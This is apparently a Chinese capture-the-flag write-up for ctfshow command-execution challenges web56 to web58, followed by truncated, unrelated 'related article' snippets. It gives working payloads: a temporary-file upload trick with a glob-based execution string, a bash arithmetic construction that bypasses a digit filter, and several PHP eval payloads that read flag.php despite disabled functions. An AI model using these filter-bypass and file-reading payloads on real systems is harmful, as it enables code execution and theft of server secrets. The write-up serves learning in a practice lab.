ctfshow-web入门-命令执行(web56、web57、web58)
目录
1、web56
2、web57
3、web58
1、web56
命令执行,需要严格的过滤
新增过滤数字,只能采用上一题临时文件上传的方法:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="https://f135ee89-cbf7-464b-9e19-a07aec56fd3f.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>
payload:?c=.%20/???/????????[@-[]
2、web57
命令执行,需要严格的过滤,已测试,可绕
先说两个东西,在 Linux 下:
$(())=0
$((~ $(()) ))=-1
这里说了 flag 在 36.php,那么我们只需要构造 36,但是数字被过滤了。
由于前面说的只有 -1,因此我们对 36 进行取反,得到 -37,对 -37 再次取反即可得到 36。
根据 $((~ $(()) ))=-1,我们进行拼接,构造出 -37
$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))
再对其进行取反得到 36
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
构造 payload:
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
拿到 flag:ctfshow{37b0df2c-1256-4779-93e8-715022cb9673}
3、web58
命令执行,突破禁用函数
调用 system 函数,发现函数被禁用
这里使用 show_source 或者 highlight_file,构造 payload:
c=show_source('flag.php');
c=highlight_file('flag.php');
拿到 flag:ctfshow{7d992144-9afa-434e-a610-5af9bc9e1600}
也可以直接将 php 代码传给 eval 函数让其执行,构造 payload:
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
还在网上还看到了很多其他奇思妙想的解法,格局一下就打开了
(1)利用 copy 函数
c=copy("flag.php","flag.txt");
执行后直接访问 flag.txt
(2)rename 函数
通过将 flag.php 重命名为 txt 文件,之后直接访问读取,和上面的 copy 差不多
(3)file_get_contents 函数
使用 file_get_contents 进行读取,再配合 echo 输出,payload:
c=echo file_get_contents("flag.php");
(4)readfile 函数
payload:
c=readfile("flag.php");
(5) file 函数
payload:
c=print_r(file("flag.php"));
更多其他情况和方法可以参考羽师傅的博客
相关文章:

ctfshow-web入门-命令执行(web56、web57、web58)
目录 1、web56 2、web57 3、web58 1、web56 命令执行,需要严格的过滤 新增过滤数字,只能采用上一题临时文件上传的方法: <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><…...

controller不同的后端路径对应vue前端传递数据发送请求的方式,vue请求参数 param 与data 如何对应后端参数
目录 案例一: 为什么使用post发送请求,参数依旧会被拼接带url上呢?这应该就是param 与data传参的区别。即param传参数参数会被拼接到url后,data会以请求体传递 补充:后端controller 参数上如果没写任何注解,…...

【FFmpeg】avcodec_send_frame函数
目录 1.avcodec_send_frame1.1 将输入的frame存入内部buffer(encode_send_frame_internal)1.1.1 frame的引用函数(av_frame_ref )1.1.1.1 帧属性的拷贝(frame_copy_props)1.1.1.2 buffer的引用函数…...
python获取字符编码
在Python中,您可以使用内置的ord()函数获取单个字符的Unicode编码,使用encode()方法获取字符串的字节编码。 获取单个字符的Unicode编码: char a unicode_code ord(char) print(unicode_code) # 输出字符的Unicode编码 获取字符串的字节编码: tex…...
通过MATLAB控制TI毫米波雷达的工作状态之实时数据采集
前言 前一章博主介绍了如何基于MATLAB的各种前面板组件结合MATLAB代码来发送CFG指令控制毫米波雷达的工作状态,这一章节博主将介绍如何基于这些组件结合MATLAB代码来实现TI毫米波雷达数据的实时采集。目前大部分TI毫米波雷达的数据采集均是仅可以采集一段数据又或者利用DAC10…...
华为HCIP Datacom H12-821 卷21
1.单选题 以下关于PIM-SM中SPT切换的描述,错误的是哪一项? A、若所有组播流量都经过RP路由器,则RP路由器可能成为数据转发的瓶颈 B、SPT路径最短,转发性能更优 C、SPT 切换完成后,组播流量依然经过 ReT 树 D、RPT 树可能不是组播流量转发的最优路径 正确答案: C 解析…...

MySQL之应用层优化(二)
应用层优化 Web服务器问题 寻找最优并发度 每个Web服务器都有一个最佳并发度——就是说,让进程处理请求尽可能快,并且不超过系统负载的最优的并发连接数。这就是前面说的最大系统容量。进行一个简单的测量和建模,或者只是反复试验…...
Java源码解读之常量52429
文章目录 为什么有52429的常量呢?对于为什么选择52429?那么为什么不再选几位呢? 在JDK8源码中 java.lang.Integer有52429作为常量出现, 为什么有52429的常量呢? static void getChars(int i, int index, char[] buf) {int q, r;…...

“Photoshop AI插件:StartAI的全面使用攻略
随着人工智能技术的飞速发展,Photoshop作为设计师们不可或缺的工具,也在不断地融入AI技术,以提升设计效率和效果。在2024年,PSAI插件StartAI因其强大的功能和易用性,成为了Photoshop用户的得力帮手。下面来给大家详细介…...

入门Axure:快速掌握原型设计技能
2002 年,维克托和马丁在旧金山湾区的一家初创公司工作,发现自己一再被软件开发生命周期的限制所困扰,而且产品团队在编写规范之前很难评估他们的解决方案,开发人员经常不理解(或不阅读)给出的规范ÿ…...
Java中的序列化与反序列化详解
Java中的序列化与反序列化详解 大家好,我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编,也是冬天不穿秋裤,天冷也要风度的程序猿! 什么是序列化与反序列化? 序列化(Serialization&#…...
在鸿蒙开发中如何实现皮肤切换?
在鸿蒙开发中,实现主题皮肤切换可以通过以下步骤: 1. 创建不同的主题样式文件,例如theme_light.json和theme_dark.json。 2. 在应用程序的config.json文件中,引入这些主题样式文件。 3. 在应用程序的入口文件(例如main…...

FlowUs新一代内容创作营销平台|FlowUs息流国产 好用 不限速
FlowUs 作为一个知识管理和协作平台,知识库功能可以被视为一个强大的学习工具! 为什么FlowUs知识库可以成为学习利器呢?原因有以下几点 集中化知识存储:FlowUs允许我们将所有相关信息和资料集中在一个地方,便于访问和复…...

WebSocket解决方案(springboot 基于Redis发布订阅)
WebSocket 因为一般的请求都是HTTP请求(单向通信),HTTP是一个短连接(非持久化),且通信只能由客户端发起,HTTP协议做不到服务器主动向客户端推送消息。WebSocket确能很好的解决这个问题&…...

如何优化网站SEO排名?
选择那些容易排名的关键词。使用工具找到那些竞争少但有流量的词语。其次,内部链接非常重要。通过合理的内部链接,可以提升各个页面的权重。 增加FAQ部分能帮助你捕捉更多的长尾关键词流量。争取出现在精选摘要的位置,可以直接提升你的曝光率…...

基于Java的音乐网站系统-计算机毕业设计源码01239
目 录 摘要 1 绪论 1.1 研究背景 1.2系统开发目标、意义 1.3研究内容 2 相关技术介绍 2.1 MySQL数据库 2.2 Java编程语言 2.3 SpringBoot框架介绍 3 系统需求分析与设计 3.1 可行性分析 3.1.1 技术可行性分析 3.1.2 经济可行性分析 3.1.3 法律可行性分析 3.2 需…...

云原生之容器编排实践-OpenEuler23.09在线安装Kubernetes与KubeSphere
背景 前几篇文章中介绍了如何将 ruoyi-cloud 项目部署到 Kubernetes 集群中,包括网关服务、认证服务和系统服务并且对全部服务采用 YAML 文件的方式来进行部署,这虽然有助于理解 K8S 组织管理资源的风格与底层机制,但是对于团队中不太熟悉命…...
Ubuntu 截图shutter,图像编辑 gimp,录屏kazam
1.截图: Shutter 安装shutter命令: sudo add-apt-repository ppa:shutter/ppasudo apt-get updatesudo apt-get install shutter 2.图片编辑:Gimp, Kolourpaint, Pinta gimp全名为:GNU Image Manipulation Program,…...

WSO2 products 文件上传漏洞(CVE-2022-29464)
前言 CVE-2022-29464 是一个影响多个 WSO2 产品的严重远程代码执行(RCE)漏洞。这些产品包括 WSO2 API Manager、WSO2 Identity Server 和 WSO2 Enterprise Integrator 等。由于用户输入验证不当,该漏洞允许未经身份验证的攻击者在服务器上上…...

YOLOv8改进 | 卷积模块 | SAConv可切换空洞卷积
秋招面试专栏推荐 :深度学习算法工程师面试问题总结【百面算法工程师】——点击即可跳转 💡💡💡本专栏所有程序均经过测试,可成功执行💡💡💡 专栏目录 :《YOLOv8改进有效…...
Java 语言特性(面试系列1)
一、面向对象编程 1. 封装(Encapsulation) 定义:将数据(属性)和操作数据的方法绑定在一起,通过访问控制符(private、protected、public)隐藏内部实现细节。示例: public …...

srs linux
下载编译运行 git clone https:///ossrs/srs.git ./configure --h265on make 编译完成后即可启动SRS # 启动 ./objs/srs -c conf/srs.conf # 查看日志 tail -n 30 -f ./objs/srs.log 开放端口 默认RTMP接收推流端口是1935,SRS管理页面端口是8080,可…...

Keil 中设置 STM32 Flash 和 RAM 地址详解
文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...
关于 WASM:1. WASM 基础原理
一、WASM 简介 1.1 WebAssembly 是什么? WebAssembly(WASM) 是一种能在现代浏览器中高效运行的二进制指令格式,它不是传统的编程语言,而是一种 低级字节码格式,可由高级语言(如 C、C、Rust&am…...
08. C#入门系列【类的基本概念】:开启编程世界的奇妙冒险
C#入门系列【类的基本概念】:开启编程世界的奇妙冒险 嘿,各位编程小白探险家!欢迎来到 C# 的奇幻大陆!今天咱们要深入探索这片大陆上至关重要的 “建筑”—— 类!别害怕,跟着我,保准让你轻松搞…...

逻辑回归暴力训练预测金融欺诈
简述 「使用逻辑回归暴力预测金融欺诈,并不断增加特征维度持续测试」的做法,体现了一种逐步建模与迭代验证的实验思路,在金融欺诈检测中非常有价值,本文作为一篇回顾性记录了早年间公司给某行做反欺诈预测用到的技术和思路。百度…...

C++11 constexpr和字面类型:从入门到精通
文章目录 引言一、constexpr的基本概念与使用1.1 constexpr的定义与作用1.2 constexpr变量1.3 constexpr函数1.4 constexpr在类构造函数中的应用1.5 constexpr的优势 二、字面类型的基本概念与使用2.1 字面类型的定义与作用2.2 字面类型的应用场景2.2.1 常量定义2.2.2 模板参数…...
手动给中文分词和 直接用神经网络RNN做有什么区别
手动分词和基于神经网络(如 RNN)的自动分词在原理、实现方式和效果上有显著差异,以下是核心对比: 1. 实现原理对比 对比维度手动分词(规则 / 词典驱动)神经网络 RNN 分词(数据驱动)…...

深入理解 C++ 左值右值、std::move 与函数重载中的参数传递
在 C 编程中,左值和右值的概念以及std::move的使用,常常让开发者感到困惑。特别是在函数重载场景下,如何合理利用这些特性来优化代码性能、确保语义正确,更是一个值得深入探讨的话题。 在开始之前,先提出几个问题&…...
【系统架构设计师-2025上半年真题】综合知识-参考答案及部分详解(回忆版)
更多内容请见: 备考系统架构设计师-专栏介绍和目录 文章目录 【第1题】【第2题】【第3题】【第4题】【第5题】【第6题】【第7题】【第8题】【第9题】【第10题】【第11题】【第12题】【第13题】【第14题】【第15题】【第16题】【第17题】【第18题】【第19题】【第20~21题】【第…...